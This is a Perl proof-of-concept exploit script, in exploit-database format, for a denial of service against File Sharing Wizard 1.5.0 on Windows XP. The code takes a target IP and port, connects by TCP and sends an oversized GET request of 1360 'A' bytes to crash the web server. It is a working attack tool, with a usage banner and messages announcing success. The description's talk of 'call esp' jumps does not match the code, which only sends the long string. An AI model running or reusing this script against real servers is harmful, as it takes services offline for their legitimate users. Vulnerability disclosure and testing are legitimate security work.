#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 07 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing
# Notification vendor: No reported
# Tested Version: File Sharing Wizard 1.5.0
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://drive.google.com/file/d/1gPiMU0Wemdx-rxEzAPhQCyparn1JiX0j/view?usp=sharing

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $exploit = "\x41"x1360;

    my $payload_header  = "GET " . $exploit;
    $payload_header .= " HTTP/1.0\r\n\r\n";

    my $connect = IO::Socket::INET->new(
       PeerAddr => $ip,
       PeerPort => $port,
       Proto    => 'tcp'
    ) or die "Unable to connect to the victim: $!\n";

    $connect->send($payload_header);
    close $connect;

    print "[+] Done! Exploited!\n";



    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print "#################################################################\n";
      print "#           File Sharing Wizard 1.5.0 - Denied of Service       #\n";
      print "#                                                               #\n";
      print "#                Coded by Fernando Mengali                      #\n";
      print "#                                                               #\n";
      print "#              e-mail: fernando.mengalli\@gmail.com             #\n";
      print "#                                                               #\n";
      print "#################################################################\n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated